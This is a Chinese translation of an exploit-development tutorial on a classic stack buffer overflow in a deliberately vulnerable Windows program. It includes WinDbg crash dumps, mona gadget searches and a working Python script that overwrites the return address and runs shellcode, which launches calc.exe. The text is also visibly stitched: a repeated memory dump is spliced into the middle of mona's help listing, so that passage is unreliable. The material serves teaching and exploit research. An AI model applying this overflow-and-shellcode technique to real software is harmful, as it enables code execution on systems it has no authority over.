Exploit開發系列教程-Exploitme1 (“ret eip” overwrite) &More space on stack
from:
- http://expdev-kiuhnm.rhcloud.com/2015/05/26/exploitme1-ret-eip-overwrite/
- http://expdev-kiuhnm.rhcloud.com/2015/06/13/more-space-on-the-stack/
0x01 Exploitme1 (“ret eip” overwrite) &More space on stack
這個簡單的c/c++程式顯然存在漏洞:
#!c++
#include <cstdio>
int main() {
char name[32];
printf("Enter your name and press ENTER\n");
scanf("%s", name);
printf("Hi, %s!\n", name);
return 0;
}
問題出在scanf()輸入陣列name時會超出陣列name的邊界。為了驗證該弱點,我們執行程式併為陣列name輸入相當長度的變數,如:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
程式會列印:
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
接著發生崩潰。
有趣之處在於:給一個特定的陣列name賦值,可以讓程式執行任意程式碼。
首先,在VS 2013中,透過Project→properties 關閉DEP和stack cookies保護機制,接著在Release選項下修改配置:
- Configuration Properties->C/C++->Code Generation->Security Check: Disable Security Check (/GS-)
- Linker->Advanced->Data Execution Prevention (DEP): No (/NXCOMPAT:NO)
main()函式用匯編描述如下::
int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
char name[32];
printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01 push 1392100h
0139100B FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
scanf("%s", name);
01391011 8D 45 E0 lea eax,[name]
01391014 50 push eax
01391015 68 24 21 39 01 push 1392124h
0139101A FF 15 94 20 39 01 call dword ptr ds:[1392094h]
printf("Hi, %s!\n", name);
01391020 8D 45 E0 lea eax,[name]
01391023 50 push eax
01391024 68 28 21 39 01 push 1392128h
01391029 FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
0139102F 83 C4 14 add esp,14h
return 0;
01391032 33 C0 xor eax,eax
}
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
這裡是呼叫main()的彙編程式碼:
mainret = main(argc, argv, envp);
00261222 FF 35 34 30 26 00 push dword ptr ds:[263034h]
00261228 FF 35 30 30 26 00 push dword ptr ds:[263030h]
0026122E FF 35 2C 30 26 00 push dword ptr ds:[26302Ch]
00261234 E8 C7 FD FF FF call main (0261000h)
00261239 83 C4 0C add esp,0Ch
這時你應該知道棧是往更低的地址方向增長的。以上三個push指令執行之後,棧將會像這樣:
esp --> argc ; third push
argv ; second push
envp ; first push
Call指令把0x261239壓入棧,因此ret指令可以返回到如下call指令的程式碼。Call指令執行之後,在main()函式的開頭,棧將會像這樣:
esp --> ret eip ; 0x261239
argc ; third push
argv ; second push
envp ; first push
main()函式開始於:
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
在這三條指令執行之後,棧將會像這樣:
esp --> name[0..3] ; first 4 bytes of "name"
name[4..7]
.
.
.
name[28..31] ; last 4 bytes of "name"
ebp --> saved ebp
ret eip ; 0x261239
argc ; third push
argv ; second push
envp ; first push
現在scanf()從標準輸入中讀取資料並將其寫入到陣列name中。如果資料長度超過32位元組,ret eip將會被覆寫。
我們來看main()的最後3條指令:
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
在mov esp,ebp指令執行之後,棧將會是這樣的:
esp,ebp -> saved ebp
ret eip ; 0x261239
argc ; third push
argv ; second push
envp ; first push
在pop ebp 指令執行之後,我們有:
esp --> ret eip ; 0x261239
argc ; third push
argv ; second push
envp ; first push
最後,從棧頂彈出ret eip 並轉移到那個地址。如果我們改變ret eip,我們可以將執行流重定向到我們想要的任意地址。正如上文提到過的,我們可以透過寫入超出陣列name邊界的變數來覆蓋ret eip。因為scanf()不檢查輸入的長度,所以這一想法似乎可以實現。透過了解如上設計,你應該確信自己的ret eip定位在地址name+36上。
在VS 2013中,透過按下F5來開啟偵錯程式,並輸入資料:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
該程式會崩潰並且會出現帶有如下資訊的會話框:
Unhandled exception at 0x61616161 in exploitme1.exe: 0xC0000005: Access violation reading location 0x61616161.
‘a‘的ASCII程式碼是0x61,因此我們用”aaaa” ,即0x61616161覆蓋ret eip,並且ret 指令已經跳轉到非法地址0x61616161上。現在我們透過輸入36個”a”,4個”b”和一定量的”c”來證實ret eip在name+36地址上。
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccc
值得高興的是如下資訊的出現:
Unhandled exception at 0x62626262 in exploitme1.exe: 0xC0000005: Access violation reading location 0x62626262.
如上明確了我們的猜測(注意在0x62626262上是”bbbb”)
呼叫scanf()之前以及之後的棧變化總結如下:
name[0..3] aaaa
name[4..7] aaaa
. .
B . A .
E . F .
F name[28..31] =========> T aaaa
O saved ebp E aaaa
R ret eip R bbbb
E argc cccc
argv cccc
envp cccc
為了更簡潔地描述,我們修改程式,讓文字內容可從檔案c:\name.dat:中被讀取:
#!c++
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
在c:\內建立檔案name.dat,檔案內容如下:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccccccccccccccccccccc
現在用WinDbg載入exploitme1.exe,按下F5(go)。你應該看到該異常:
(180c.5b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6d383071 edx=00835451 esi=00000001 edi=00000000
eip=62626262 esp=0041f7d0 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
62626262 ?? ???
我們來觀察被ESP指向的棧部分:
0:000> d @esp
0041f7d0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0041f7e0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0041f7f0 dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01 ..A.(...D.A...5.
0041f800 b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76 ..........A..3.v
0041f810 00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e ...~T.A.r..w...~
0041f820 2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e ,-Au...........~
0041f830 00 00 00 00 00 00 00 00-00 00 00 00 20 f8 41 00 ............ .A.
0041f840 00 00 00 00 ff ff ff ff-f5 71 a3 77 28 10 9e 02 .........q.w(...
0:000> d @esp-0x20
0041f7b0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0041f7c0 61 61 61 61 61 61 61 61-61 61 61 61 62 62 62 62 aaaaaaaaaaaabbbb
0041f7d0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0041f7e0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0041f7f0 dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01 ..A.(...D.A...5.
0041f800 b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76 ..........A..3.v
0041f810 00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e ...~T.A.r..w...~
0041f820 2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e ,-Au...........~
完美!ESP指向”c”所在的地址。記住ESP是0x41f7d0.現在透過按下CTRL+SHIFT+F5 (restart)和F5(go)再次執行exploitme1.exe。
再次觀察棧:
0:000> d @esp
0042fce0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0042fcf0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0042fd00 ec fc 42 00 29 00 00 00-54 fd 42 00 09 17 12 00 ..B.)...T.B.....
0042fd10 94 7f 07 21 00 00 00 00-24 fd 42 00 8a 33 0c 76 ...!....$.B..3.v
0042fd20 00 e0 fd 7e 64 fd 42 00-72 9f 9f 77 00 e0 fd 7e ...~d.B.r..w...~
0042fd30 c4 79 5c 75 00 00 00 00-00 00 00 00 00 e0 fd 7e .y\u...........~
0042fd40 00 00 00 00 00 00 00 00-00 00 00 00 30 fd 42 00 ............0.B.
0042fd50 00 00 00 00 ff ff ff ff-f5 71 a3 77 f0 41 80 02 .........q.w.A..
正如你可以瞭解到的,ESP仍然指向“c”所在的地址,但是地址不同。我們把shellcode放入”c”的位置。但是不能用0x42fce0去覆蓋ret eip。因為準確的地址一直在變。但是ESP總是指向shellcode,因此為何我們不能用記憶體中含有一條JMP ESP指令的地址去覆蓋ret eip呢?
我們使用mona(refresher)來尋找該指令:
0:000> .load pykd.pyd
0:000> !py mona
Hold on...
[+] Command used:
!py mona.py
'mona' - Exploit Development Swiss Army Knife - WinDbg (32bit)
Plugin version : 2.0 r554
PyKD version 0.2.0.29
Written by Corelan - https://www.corelan.be
Project page : https://github.com/corelan/mona
|------------------------------------------------------------------|
| |
| _____ ___ ____ ____ ____ _ |
| / __ `__ \/ __ \/ __ \/ __ `/ https://www.corelan.be |
| / / / / / / /_/ / / / / /_/ / https://www.corelan-training.com|
| /_/ /_/ /_/\____/_/ /_/\__,_/ #corelan (Freenode IRC) |
| |
|------------------------------------------------------------------|
Global options :
----------------
You can use one or more of the following global options on any command that will perform
a search in one or more modules, returning a list of pointers :
-n : Skip modules that start with a null byte. If this is too broad, use
option -cm nonull instead
-o : Ignore OS modules
-p <nr> : Stop search after <nr> pointers.
-m <module,module,...> : only query the given modules. Be sure what you are doing !
You can specify multiple modules (comma separated)
Tip : you can use -m * to include all modules. All other module criteria will be ignored
Other wildcards : *blah.dll = ends with blah.dll, blah* = starts with blah,
blah or *blah* = contains blah
-cm <crit,crit,...> : Apply some additional criteria to the modules to query.
You can use one or more of the following criteria :
aslr,safeseh,rebase,nx,os
You can enable or disable a certain criterium by setting it to true or false
Example : -cm aslr=true,safeseh=false
Suppose you want to search for p/p/r in aslr enabled modules, you could call
!mona seh -cm aslr
-cp <crit,crit,...> : Apply some criteria to the pointers to return
Available options are :
unicode,ascii,asciiprint,upper,lower,uppernum,lowernum,numeric,alphanum,nonull,startswithnull,unicoderev
Note : Multiple criteria will be evaluated using 'AND', except if you are looking for unicode + one crit
-cpb '\x00\x01' : Provide list with bad chars, applies to pointers
You can use .. to indicate a range of bytes (in between 2 bad chars)
-x <access> : Specify desired access level of the returning pointers. If not specified,
only executable pointers will be return.
Access levels can be one of the following values : R,W,X,RW,RX,WX,RWX or *
Usage :
-------
!mona <command> <parameter>
Available commands and parameters :
? / eval | Evaluate an expression
allocmem / alloc | Allocate some memory in the process
assemble / asm | Convert instructions to opcode. Separate multiple instructions with #
bpseh / sehbp | Set a breakpoint on all current SEH Handler function pointers
breakfunc / bf | Set a breakpoint on an exported function in on or more dll's
breakpoint / bp | Set a memory breakpoint on read/write or execute of a given address
bytearray / ba | Creates a byte array, can be used to find bad characters
changeacl / ca | Change the ACL of a given page
compare / cmp | Compare contents of a binary file with a copy in memory
config / conf | Manage configuration file (mona.ini)
copy / cp | Copy bytes from one location to another
dump | Dump the specified range of memory to a file
dumplog / dl | Dump objects present in alloc/free log file
dumpobj / do | Dump the contents of an object
egghunter / egg | Create egghunter code
encode / enc | Encode a series of bytes
filecompare / fc | Compares 2 or more files created by mona using the same output commands
fillchunk / fchunk | Fill a heap chunk referenced by a register
find / f | Find bytes in memory
findmsp / findmsf | Find cyclic pattern in memory
findwild / fw | Find instructions in memory, accepts wildcards
flow / flw | Simulate execution flows, including all branch combinations
fwptr / fwp | Find Writeable Pointers that get called
geteat / eat | Show EAT of selected module(s)
getiat / iat | Show IAT of selected module(s)
getpc | Show getpc routines for specific registers
gflags / gf | Show current GFlags settings from PEB.NtGlobalFlag
header | Read a binary file and convert content to a nice 'header' string
heap | Show heap related information
help | show help
hidedebug / hd | Attempt to hide the debugger
info | Show information about a given address in the context of the loaded application
infodump / if | Dumps specific parts of memory to file
jmp / j | Find pointers that will allow you to jump to a register
jop | Finds gadgets that can be used in a JOP exploit
kb / kb | Manage Knowledgebase data
modules / mod | Show all loaded modules and their properties
noaslr | Show modules that are not aslr or rebased
nosafeseh | Show modules that are not safeseh protected
nosafesehaslr | Show modules that are not safeseh protected, not aslr and not rebased
offset | Calculate the number of bytes between two
0:000> d @esp
0041f7d0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0041f7e0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0041f7f0 dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01 ..A.(...D.A...5.
0041f800 b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76 ..........A..3.v
0041f810 00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e ...~T.A.r..w...~
0041f820 2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e ,-Au...........~
0041f830 00 00 00 00 00 00 00 00-00 00 00 00 20 f8 41 00 ............ .A.
0041f840 00 00 00 00 ff ff ff ff-f5 71 a3 77 28 10 9e 02 .........q.w(...
0:000> d @esp-0x20
0041f7b0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0041f7c0 61 61 61 61 61 61 61 61-61 61 61 61 62 62 62 62 aaaaaaaaaaaabbbb
0041f7d0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0041f7e0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0041f7f0 dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01 ..A.(...D.A...5.
0041f800 b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76 ..........A..3.v
0041f810 00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e ...~T.A.r..w...~
0041f820 2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e ,-Au...........~ addresses
pageacl / pacl | Show ACL associated with mapped pages
pattern_create / pc | Create a cyclic pattern of a given size
pattern_offset / po | Find location of 4 bytes in a cyclic pattern
peb / peb | Show location of the PEB
rop | Finds gadgets that can be used in a ROP exploit and do ROP magic with them
ropfunc | Find pointers to pointers (IAT) to interesting functions that can be used in your ROP chain
seh | Find pointers to assist with SEH overwrite exploits
sehchain / exchain | Show the current SEH chain
skeleton | Create a Metasploit module skeleton with a cyclic pattern for a given type of exploit
stackpivot | Finds stackpivots (move stackpointer to controlled area)
stacks | Show all stacks for all threads in the running application
string / str | Read or write a string from/to memory
suggest | Suggest an exploit buffer structure
teb / teb | Show TEB related information
tobp / 2bp | Generate WinDbg syntax to create a logging breakpoint at given location
unicodealign / ua | Generate venetian alignment code for unicode stack buffer overflow
update / up | Update mona to the latest version
Want more info about a given command ? Run !mona help
這一行我們感興趣的是這個:
jmp / j | Find pointers that will allow you to jump to a register
我們來試試:
0:000> !py mona jmp
Hold on...
[+] Command used:
!py mona.py jmp
Usage :
Default module criteria : non aslr, non rebase
Mandatory argument : -r where reg is a valid register
[+] This mona.py action took 0:00:00
好的,我們需要另一個引數:
0:000> !py mona jmp -r ESP
Hold on...
[+] Command used:
!py mona.py jmp -r ESP
---------- Mona command started on 2015-03-18 02:30:53 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 0 modules
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile jmp.txt
Found a total of 0 pointers
[+] This mona.py action took 0:00:00.110000
不幸的是,它並沒有找到任何模組。問題出在所有模組都支援ASLR (AddressSpace Layout Randomization),即,它們在每次被載入進記憶體中時都會改變它們的基地址。現在,假設沒有開啟ASLR保護機制並在kernel32.dll模組中搜尋JMP ESP指令。因為每個應用共用該模組,所以只在windows被重啟後才會改變它所在的地址。這讓它更有效地對抗利用,但是重啟Windows之前,我們可以假裝已經關閉了ASLR保護機制。
因為要這裡告訴mona從kernel32.dll中搜尋我們需要的地址,所以使用了全域性選項-m:
0:000> !py mona jmp -r ESP -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py jmp -r ESP -m kernel32.dll
---------- Mona command started on 2015-03-18 02:36:58 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules kernel32.dll
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
- Querying module kernel32.dll
^ Memory access error in '!py mona jmp -r ESP -m kernel32.dll'
** Unable to process searchPattern 'mov eax,esp # jmp eax'. **
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile jmp.txt
[+] Writing results to jmp.txt
- Number of pointers of type 'call esp' : 2
- Number of pointers of type 'push esp # ret ' : 1
[+] Results :
0x760e7133 | 0x760e7133 (b+0x00037133) : call esp | ascii {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x7614ceb2 | 0x7614ceb2 (b+0x0009ceb2) : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x7610a980 | 0x7610a980 (b+0x0005a980) : push esp # ret | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
Found a total of 3 pointers
[+] This mona.py action took 0:00:00.172000
好的!找到了三個地址,我們使用最後一個:
0x7610a980 | 0x7610a980 (b+0x0005a980) : push esp # ret | {PAGE_EXECUTE_READ}
接著檢驗該地址是正確的:
0:000> u 0x7610a980
kernel32!GetProfileStringW+0x1d3e4:
7610a980 54 push esp
7610a981 c3 ret
7610a982 1076db adc byte ptr [esi-25h],dh
7610a985 fa cli
7610a986 157640c310 adc eax,10C34076h
7610a98b 76c8 jbe kernel32!GetProfileStringW+0x1d3b9 (7610a955)
7610a98d fa cli
7610a98e 157630c310 adc eax,10C33076h
正如你看到的,mona將不僅搜尋JMP指令,還搜尋CALL和PUSH+RET指令。因此,我們需要用0x7610a980即用位元組“\x80\xa9\x10\x76” (記住Intel CPUs是小端模式).來覆蓋ret eip。
寫下一小段Python指令碼。開啟IDLE並輸入:
#!python
with open('c:\\name.dat', 'wb') as f:
ret_eip = '\x80\xa9\x10\x76'
shellcode = '\xcc'
name = 'a'*36 + ret_eip + shellcode
f.write(name)
用WinDbg重新執行exploitme1.exe,按F5並且WinDbg將斷在我們的shellcode上(0xCC是int 3的操作碼,偵錯程式使用它來作為一個軟體斷點):
(1adc.1750): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=00000000 ecx=6d383071 edx=002e5437 esi=00000001 edi=00000000
eip=001cfbf8 esp=001cfbf8 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
001cfbf8 cc int 3
現在我們新增真正的shellcode:
#!python
with open('c:\\name.dat', 'wb') as f:
ret_eip = '\x80\xa9\x10\x76'
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
name = 'a'*36 + ret_eip + shellcode
f.write(name)
透過使用如下程式碼來構造shellcode
#!c++
#define HASH_ExitThread 0x4b3153e0
#define HASH_WinExec 0x7bb4c07f
int entryPoint() {
DefineFuncPtr(WinExec);
DefineFuncPtr(ExitThread);
char calc[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' }; // makes our shellcode shorter
My_WinExec(calc, SW_SHOW);
My_ExitThread(0);
return 0;
}
檢測實驗
如果利用沒法在你的系統上成功執行,那麼可能是因為在棧上的空間有限。下面將討論在棧上分配更多空間的方法。
0x02 More space on stack(棧上分配更多的空間)
如果是因為fread內發生了不可思議的崩潰或因一些其它非法訪問錯誤導致利用無法正常工作,那麼可能是棧上的空間不足。
最容易的解決方法是修改程式的程式碼,從這裡:
#!c++
#include <cstdio>
int main() {
<contents of main>
}
到這裡:
#!c++
#include <cstdio>
_declspec(noinline) int old_main() {
<contents of main>
}
int main() {
char moreStack[10000];
for (int i = 0; i < sizeof(moreStack); ++i)
moreStack[i] = i;
return old_main();
}
例如,這裡:
#!c++
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
被改變為:
#!c++
#include <cstdio>
_declspec(noinline) int old_main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
int main() {
char moreStack[10000];
for (int i = 0; i < sizeof(moreStack); ++i)
moreStack[i] = i;
return old_main();
}
在棧上,棧變數moreStack給我們更多的空間。記住棧是往低地址方向增長的,但是fread往高地址方向寫入,如果棧上沒有額外的空間,fread可能會寫入棧末端,程式將會崩潰
一如既往地運用你的腦袋吧。有時,fread到達棧末端併產生異常,達到異常處理器被呼叫(基於SEH的利用)的目的。重要的是有足夠的空間使你的payload存在於棧。如果你需要更多或更少空間,那麼只需合理修改moreStack的大小。
在main中需要for迴圈,否則moreStack將會被最佳化掉。同時,如果函式f是內聯的,那麼在defeat目標的moreStack(即朝著棧末端)後,緩衝區name會被分配。因此,為了避免出現該情況,我們需要使用 _declspec(noinline)。
圖片可以更清晰地描繪事實:
相關文章
- Exploit開發系列教程-Exploitme2 (Stack cookies & SEH)2020-08-19Cookie
- Exploit開發系列教程-Heap2020-08-19
- Exploit開發系列教程-Windbg2020-08-19
- Exploit開發系列教程-Mona 2& SEH2020-08-19
- [翻譯]Windows Exploit開發教程第十二章-EMET 5.22020-01-31Windows
- [翻譯]Windows Exploit開發系列教程第七部分:返回導向程式設計(ROP)2021-06-02Windows程式設計
- [翻譯]Windows Exploit開發教程第十四章Part1.IE112019-03-02WindowsIE11
- [翻譯]Windows Exploit開發教程第十四章Part2.IE112018-09-22WindowsIE11
- [翻譯]Windows Exploit開發教程第十章 Exploitme4(ASLR)2020-02-17Windows
- [翻譯]Windows Exploit開發教程第九章-Exploitme3 (DEP)2020-02-18Windows
- 硬體開發系列教程2024-03-10
- [翻譯]Windows Exploit開發教程第十一章 Exploitme5(heap spraying & UAF)2020-01-31Windows
- [翻譯]Windows Exploit開發教程第十三章Part5.IE10 UAF漏洞2019-03-07WindowsIE10
- [翻譯]Windows Exploit開發教程第十三章Part4.IE10 上帝模式(2)2020-02-02WindowsIE10模式
- [翻譯]Windows Exploit開發教程第十三章Part3.IE10 上帝模式(1)2020-02-09WindowsIE10模式
- [翻譯]Windows Exploit開發教程第十三章Part1.IE10-IE逆向工程2020-02-11WindowsIE10
- C#微信開發系列教程2018-07-24C#
- 微信程式開發系列教程(一)開發環境搭建2018-08-21開發環境
- Selenium系列教程-02 使用Chrome開發者工具2018-05-30Chrome
- odoo 開發入門教程系列-QWeb簡史2023-04-21OdooWeb
- Flutter開發系列教程之網路請求2019-07-31Flutter
- odoo 開發入門教程系列-約束(Constraints)2023-04-07OdooAI
- odoo 開發入門教程系列-繼承(Inheritance)2023-04-14Odoo繼承
- EIP-4844如何起源?2022-12-21
- 『React Navigation 3x系列教程』createMaterialTopTabNavigator開發指南2019-01-07ReactNavigation
- 『React Navigation 3x系列教程』createDrawerNavigator開發指南2019-01-21ReactNavigation
- Web閱讀器開發系列教程(入門篇)2019-03-02Web
- 『React Navigation 3x系列教程』createBottomTabNavigator開發指南2018-12-30ReactNavigation
- odoo 開發入門教程系列-模組互動2023-04-16Odoo
- 開發人員的生產力管理框架:SPACE2021-03-19框架
- ret2shellcode2024-06-30
- 【M5Stack物聯網開發】序2024-05-04
- Stack Overflow:2020 年開發人員調查2020-06-16
- Web閱讀器開發系列教程(Vue環境篇)2018-10-29WebVue
- unity 開發2D坦克大戰教程 系列二2024-03-10Unity
- 『React Navigation 3x系列教程』之createStackNavigator開發指南2018-12-24ReactNavigation
- 【PWN】Ret2libc2024-10-21
- 兄弟連百度應用開發系列視訊教程2018-06-15